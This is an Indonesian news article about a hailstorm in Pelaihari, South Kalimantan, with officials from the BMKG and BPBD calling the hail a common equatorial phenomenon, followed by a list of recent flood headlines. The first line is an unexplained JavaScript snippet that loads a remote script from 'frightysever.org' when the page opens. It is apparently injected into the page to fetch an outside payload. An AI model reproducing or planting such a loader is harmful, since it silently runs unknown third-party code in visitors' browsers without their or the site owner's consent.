(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

Hujan Butiran Es di Pelaihari, BMKG : Fenomena Biasa di Garis Ekuator


PELAIHARI, Hujan butiran es terjadi di Desa Kunyit, Kecamatan Bajuin, Kabupaten Tanah Laut (Tala), Sabtu (13/4), sekitar pukul 13.00 Wita menghebohkan masyarakat. Badan Meteorologi Klimatologi dan Geofisika (BMKG) Syamsuddin Noor Banjarbaru angkat bicara.

Kepala BMKG Syamsuddin Noor Banjarbaru, Karmana mengatakan, memang Kalsel berpotensi terjadinya fenomena hujan es. Hal ini dikarenakan hujan butiran es itu dapat melanda daerah- daerah yang dilalui garis ekuator atau khatulistiwa yang memiliki iklim tropis. Salah satunya adalah Indonesia, termasuk Kalsel.

“Hujan es ini fenomena yang biasa. Tidak aneh dan langka di Indonesia. Beberapa hujan es telah terjadi di wilayah Indonesia, seperti Bandung, Banjarnegara, Medan, Madiun, Sumatera Barat, serta daerah daerah lainnya,” sebut Karmana.

Karmana juga menjelaskan, hujan es ini jika ukurannya tidak terlalu besar, sebenarnya tidak berbahaya, namun jika hujan yang turun mempunyai ukuran sebesar bongkahan es, baru membahayakan.

“Karena ukuran yang besar dan jatuh dimana- mana maka akan menjadi berbahaya dan dapat bersifat merusak. Seperti halnya fenomena yang terjadi di Sumatera Barat bulan Mei 2014, hujan es yang turun menyebabkan puluhan rumah rusak,” jelas Karmana.

Sementara itu, menurut Kepala Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan, Wahyuddin, hujan es terjadi pada siang tadi tidak mengakibat kerusakan rumah warga atau bahkan menimbulkan korban jiwa.

“Dalam kejadian ini, tidak ada kerusakan rumah warga yang terjadi. Warga malah mengabadikan hujan es sebesar batu kerikil ini dengan foto dan video pendek,” kata Ujud -biasa dipanggil-.

Namun selain hujan es, di kawasan Kecamatan Bajuin dan Kecamatan Pelaihari, Tanah Laut juga diterjang hujan badai dan angin puting beliung.

Akibat terjangan angin kencang puting beliung sejumlah pohon tumbang seperti di Perumahan Gagas Permai Pelaihari. Pohon tumbang pun menghalangi jalan perumahan. Saat ini, BPBD setempat masih dalam pendataan berapa kerugian yang menimpa warga. (rico)

Reporter:Rico
Editor:Bie

Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

8 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

9 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

9 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

12 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

18 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.